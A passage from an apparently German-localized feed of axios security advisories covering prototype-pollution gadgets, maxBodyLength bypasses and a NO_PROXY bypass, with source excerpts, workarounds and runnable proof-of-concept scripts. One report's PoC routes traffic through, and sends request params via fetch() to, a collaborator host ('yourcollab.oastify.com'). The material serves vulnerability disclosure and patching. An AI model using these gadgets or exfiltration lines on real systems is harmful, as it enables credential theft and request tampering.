and/or `serialize`. Unaffected by this specific issue: - Requests with no `auth` property. - Requests with no `paramsSerializer` property. - Top-level polluted `auth` or `paramsSerializer` values in current hardened versions. ## Technical Details `lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers: ```js } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } ``` Downstream code then reads nested fields without own-property checks. In `lib/helpers/resolveConfig.js`: ```js btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ``` In `lib/adapters/http.js`: ```js const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; ``` In `lib/helpers/buildURL.js`: ```js const _encode = (options && options.encode) || encode; const serializeFn = _options && _options.serialize; ``` ## Proof of Concept of Attack ```js import http from 'node:http'; import axios from './index.js'; const user = 'attacker'; const pass = 'exfil'; Object.defineProperty(Object.prototype, 'username', { value: user, configurable: true }); Object.defineProperty(Object.prototype, 'password', { value: pass, configurable: true }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true }); const server = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ authorization: req.headers.authorization || null, url: req.url })); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); try { const port = server.address().port; const response = await axios.get(`http://127.0.0.1:${port}/demo`, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored' } }); console.log(response.data); } finally { await new Promise((resolve) => server.close(resolve)); delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } ``` Observed result: ```json { "authorization": "Basic YXR0YWNrZXI6ZXhmaWw=", "url": "/demo?polluted=1" } ``` ## Workarounds If upgrading is not yet possible, avoid passing placeholder nested option objects. Remove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required. These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.
Original Report ### Summary axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. ### Details mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers: mergeConfig.js Lines 36-45 ``` function getMergedValue(target, source, prop, caseless) { if (utils.isPlainObject(target) && utils.isPlainObject(source)) { return utils.merge.call({ caseless }, target, source); } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } else if (utils.isArray(source)) { return source.slice(); } return source; } ``` The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard: Browser / fetch Basic auth — lib/helpers/resolveConfig.js: resolveConfig.js Lines 64-70 ``` if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ``` Node HTTP adapter Basic auth — lib/adapters/http.js: http.js Lines 829-836 ``` // HTTP basic authentication let auth = undefined; const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` paramsSerializer reads — lib/helpers/buildURL.js: buildURL.js Lines 31-54 ``` export default function buildURL(url, params, options) { if (!params) { return url; } const _encode = (options && options.encode) || encode; const _options = utils.isFunction(options) ? { serialize: options, } : options; const serializeFn = _options && _options.serialize; let serializedParams; if (serializeFn) { serializedParams = serializeFn(params, _options); } else { serializedParams = utils.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, _options).toString(_encode); } ``` Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request. The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string. ### PoC ``` import http from 'node:http'; import axios from '../../index.js'; const ATTACKER_USER = 'attacker'; const ATTACKER_PASS = 'exfil'; const ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64'); // Step 1: simulate a pre-existing prototype-pollution primitive in this process. // In reality, a separate dependency would have done this. We keep the // "polluted" properties non-enumerable so they only affect inherited reads, // which is the realistic shape of most prototype-pollution gadgets. Object.defineProperty(Object.prototype, 'username', { value: ATTACKER_USER, configurable: true, }); Object.defineProperty(Object.prototype, 'password', { value: ATTACKER_PASS, configurable: true, }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true, }); // Local capture server. const server = http.createServer((req, res) => { const captured = { authorization: req.headers['authorization'] || null, url: req.url, }; res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify(captured)); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; try { // Application code: passes nested *placeholder* option objects that have // no own auth/serializer properties. Without prototype pollution this is // a no-op. With prototype pollution it becomes attacker-controlled state. const response = await axios.get(`http://127.0.0.1:${port}/demo`, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored-by-polluted-serializer' }, }); console.log('--- PoC: nested-option prototype-pollution gadgets ---'); console.log('Server saw:', JSON.stringify(response.data)); const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`; const urlRewritten = response.data.url === '/demo?polluted=1'; if (authLeaked && urlRewritten) { console.log( 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' + 'Object.prototype values into the outbound request.' ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: nested option objects did not leak prototype state.'); console.log(' authLeaked =', authLeaked); console.log(' urlRewritten =', urlRewritten); process.exitCode = 1; } } finally { server.close(); // Restore Object.prototype so a noisy exit/process state cannot affect // anything else accidentally sharing the runtime. delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } ``` ### Impact Concrete consequences: - Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams. - Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.
Risiko 5 / 10 GHSA-mwf2-3pr3-8698 vor 1 Stunde(n)
## Summary Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`. This affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent. ## Impact An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit. Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control. Browser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary. ## Affected Functionality Affected calls require all of the following: - Node.js HTTP adapter. - `httpVersion: 2`. - Request `data` supplied as a stream. - A finite `maxBodyLength`. - Attacker-controlled or attacker-influenced stream contents. Unaffected or differently affected paths: - String, Buffer, and ArrayBuffer request bodies are checked before transport selection. - Browser XHR/fetch adapters are not affected. - HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`. - In `axios >=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams. ## Technical Details In `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option. The stream-level byte-counting wrapper is currently gated on `config.maxBodyLength > -1 && config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream. Local verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2. No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path. ## Proof of Concept of Attack ```js import http2 from 'node:http2'; import {Readable} from 'node:stream'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 * 1024 * 1024; const server = http2.createServer(); server.on('stream', (stream) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({':status': 200, 'content-type': 'application/json'}); stream.end(JSON.stringify({received, limit: LIMIT})); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); function makeBody(total) { const chunk = Buffer.alloc(64 * 1024, 0x41); let remaining = total; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; this.push(next); } }); } try { const response = await axios.post( `http://127.0.0.1:${server.address().port}/upload`, makeBody(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, headers: {'content-type': 'application/octet-stream'} } ); console.log(response.data); // Vulnerable result: { received: 2097152, limit: 1024 } } finally { server.close(); } ``` ## Workarounds For `axios >=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path. For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.
Original Report ### Details In lib/adapters/http.js, transport selection is unconditional for HTTP/2: http.js Lines 937-956 ``` if (isHttp2) { transport = http2Transport; } else { const configTransport = own('transport'); if (configTransport) { transport = configTransport; } else if (config.maxRedirects === 0) { transport = isHttpsRequest ? https : http; isNativeTransport = true; } else { if (config.maxRedirects) { options.maxRedirects = config.maxRedirects; } const configBeforeRedirect = own('beforeRedirect'); if (configBeforeRedirect) { options.beforeRedirects.config = configBeforeRedirect; } transport = isHttpsRequest ? httpsFollow : httpFollow; } } ``` maxBodyLength is then stored on the request options: http.js Lines 958-963 ``` if (config.maxBodyLength > -1) { options.maxBodyLength = config.maxBodyLength; } else { // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited options.maxBodyLength = Infinity; } ``` …but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0: http.js Lines 1270-1304 ``` // Enforce maxBodyLength for streamed uploads on the native http/https // transport (maxRedirects === 0); follow-redirects enforces it on the // other path. let uploadStream = data; if (config.maxBodyLength > -1 && config.maxRedirects === 0) { const limit = config.maxBodyLength; let bytesSent = 0; uploadStream = stream.pipeline( [ data, new stream.Transform({ transform(chunk, _enc, cb) { bytesSent += chunk.length; if (bytesSent > limit) { return cb( new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, req ) ); } cb(null, chunk); }, }), ], utils.noop ); uploadStream.on('error', (err) => { if (!req.destroyed) req.destroy(err); }); } uploadStream.pipe(req); ``` For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded. ### PoC ``` import http2 from 'node:http2'; import { Readable } from 'node:stream'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 * 1024 * 1024; // Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an // `http://...` authority, which mirrors what axios does when the request URL // uses `http://` and `httpVersion: 2`. const server = http2.createServer(); server.on('stream', (stream, _headers) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({ ':status': 200, 'content-type': 'application/json', }); stream.end(JSON.stringify({ received, limit: LIMIT })); }); stream.on('error', () => { /* swallow client-side aborts */ }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeBodyStream(totalBytes) { const CHUNK = Buffer.alloc(64 * 1024, 0x41); let remaining = totalBytes; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; this.push(next); }, }); } try { let result; try { const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, // We intentionally do NOT set maxRedirects: 0 — that flag activates the // existing HTTP/1 byte-counting wrapper. The bug under test is that the // HTTP/2 transport path skips that wrapper entirely. headers: { 'content-type': 'application/octet-stream' }, // Omit content-length so the body is streamed without a known length. }); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: HTTP/2 maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( `VULNERABLE: server received ${result.data.received} bytes despite ` + `maxBodyLength=${LIMIT}.` ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.'); process.exitCode = 1; } } finally { server.close(); // http2 sessions cached by axios may keep the event loop alive; force exit // after the assertion so the script returns instead of idling on TCP keep-alive. setImmediate(() => process.exit(process.exitCode || 0)); } ``` ### Impact - Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads. - Bypass of cost/quota guards configured via maxBodyLength against billed upstream services. - Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.
Risiko 5 / 10 GHSA-jqh4-m9w3-8hp9 vor 1 Stunde(n)
## Summary axios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: "fetch"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit. This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected. ## Impact An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth. This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard. ## Affected Functionality Affected: - `adapter: "fetch"` or environments where axios selects the fetch adapter. - Request methods with bodies, such as `POST`, `PUT`, and `PATCH`. - `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`. - Configurations that set `maxBodyLength` to a finite value. Not affected: - Axios versions before the fetch adapter was introduced. - The Node HTTP adapter stream enforcement path. - Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`. ## Technical Details In `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present. The `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`. When `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap. The expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`. ## Proof of Concept of Attack Run from the axios repo root on Node 18+ against an affected version: ```js import http from 'node:http'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 * 1024 * 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const { port } = server.address(); function makeReadableStream(totalBytes) { const chunk = new Uint8Array(64 * 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { const response = await axios.post( `http://127.0.0.1:${port}/upload`, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, } ); console.log(response.data); } finally { server.close(); } ``` Expected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`. ## Workarounds Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.
Original Report ### Summary axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium. ### Details In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch: fetch.js Lines 121-155 ``` const getBodyLength = async (body) => { if (body == null) { return 0; } if (utils.isBlob(body)) { return body.size; } if (utils.isSpecCompliantForm(body)) { const _request = new Request(platform.origin, { method: 'POST', body, }); return (await _request.arrayBuffer()).byteLength; } if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) { return body.byteLength; } if (utils.isURLSearchParams(body)) { body = body + ''; } if (utils.isString(body)) { return (await encodeText(body)).byteLength; } }; const resolveBodyLength = async (headers, body) => { const length = utils.toFiniteNumber(headers.getContentLength()); return length == null ? getBodyLength(body) : length; }; ``` For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite: fetch.js Lines 214-232 ``` // Enforce maxBodyLength against the outbound request body before dispatch. // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than // maxBodyLength limit'). Skip when the body length cannot be determined // (e.g. a live ReadableStream supplied by the caller). if (hasMaxBodyLength && method !== 'get' && method !== 'head') { const outboundLength = await resolveBodyLength(headers, data); if ( typeof outboundLength === 'number' && isFinite(outboundLength) && outboundLength > maxBodyLength ) { throw new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, request ); } } ``` The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap: fetch.js Lines 253-261 ``` if (_request.body) { const [onProgress, flush] = progressEventDecorator( requestContentLength, progressEventReducer(asyncDecorator(onUploadProgress)) ); data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush); } ``` The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength. ### PoC ``` import http from 'node:http'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 * 1024 * 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); req.on('error', () => { /* swallow client-side aborts */ }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeReadableStream(totalBytes) { const CHUNK = new Uint8Array(64 * 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { let result; try { const response = await axios.post( `http://127.0.0.1:${port}/upload`, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, // No content-length: the stream's total length is unknown ahead of // dispatch, which is exactly the vulnerable code path. } ); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( `VULNERABLE: server received ${result.data.received} bytes despite ` + `maxBodyLength=${LIMIT}.` ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.'); process.exitCode = 1; } } finally { server.close(); } ``` ### Impact - Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints). - Bypass of cost / quota guards on upstream APIs. - Resource exhaustion against the runtime's network stack and against upstream peers.
Risiko 5 / 10 GHSA-mmx7-hfxf-jppx vor 1 Stunde(n)
## Summary axios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body. Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`. ## Impact An attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`. For direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification. For direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`. ## Affected Functionality Affected normal API: - `axios.get(url[, config])` - `axios.delete(url[, config])` - `axios.head(url[, config])` - `axios.options(url[, config])` Affected low-level usage: - Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`. - Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`. Unaffected or corrected scope: - Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads. ## Technical Details `lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter. `lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`. The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values. ## Proof of Concept of Attack ```js import http from 'http'; import axios from 'axios'; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { res.writeHead(200, {'content-type': 'application/json'}); res.end(JSON.stringify({body, headers: req.headers})); }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.data = 'INJECTED'; try { const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`); console.log(res.data.body); // "INJECTED" console.log(res.data.headers['content-length']); // "8" } finally { delete Object.prototype.data; await new Promise(resolve => server.close(resolve)); } ``` Expected result: a request body is sent even though the caller did not explicitly set `config.data`. ## Workarounds Avoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.
Original Report ### Summary Three prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests. ### Details The [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: `config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. `(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. `config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage. ### PoC Ran against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps. ```javascript import axios from 'axios'; // gadget 1 - proxy Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' }; await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } }); // check collaborator - request arrives with full path + auth header ``` ```javascript // gadget 2 - data on bodyless methods Object.prototype.data = '{"injected":true}'; await axios.get('https://api.example.com/items'); await axios.delete('https://api.example.com/items/1'); await axios.head('https://api.example.com/items'); // 3/4 methods send the polluted body ``` ```javascript // gadget 3 - paramsSerializer Object.prototype.paramsSerializer = (p) => { fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p)); return 'q=x'; }; await axios.get('https://api.example.com/search', { params: { token: 'secret' } }); ``` ### Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.
Risiko 5 / 10 GHSA-f4gw-2p7v-4548 vor 1 Stunde(n)
## Summary Axios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:/` can be routed through the configured proxy instead of bypassing it. The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue. ## Impact Applications are affected when all of the following are true: - The application runs axios in Node.js with the HTTP adapter. - The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`. - The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path. - Attacker-controlled input can influence the request URL or redirect target. - The configured proxy does not reject `0.0.0.0` and can reach the local destination. For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions. ## Affected Functionality Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter: - `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy. - `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries. - Explicit caller-provided `config.proxy` remains trusted caller configuration. - Browser, React Native, XHR, and fetch adapter behavior are not affected. ## Technical Details `lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`. At `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback: ```js return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); ``` Because `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:/`. `lib/adapters/http.js:185-193` then applies the environment proxy. ## Proof of Concept of Attack ```js import http from 'http'; import axios from './index.js'; const listen = (handler, host = '127.0.0.1') => new Promise((resolve) => { const server = http.createServer(handler); server.listen(0, host, () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const origin = await listen((req, res) => res.end('origin'), '0.0.0.0'); let proxyRequests = 0; const proxy = await listen((req, res) => { proxyRequests += 1; res.end('proxied'); }); process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`; process.env.HTTP_PROXY = process.env.http_proxy; process.env.no_proxy = 'localhost,127.0.0.1,::1'; process.env.NO_PROXY = process.env.no_proxy; try { const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`); const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`); console.log({ direct: direct.data, zero: zero.data, proxyRequests }); } finally { await close(origin); await close(proxy); } ``` Expected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the 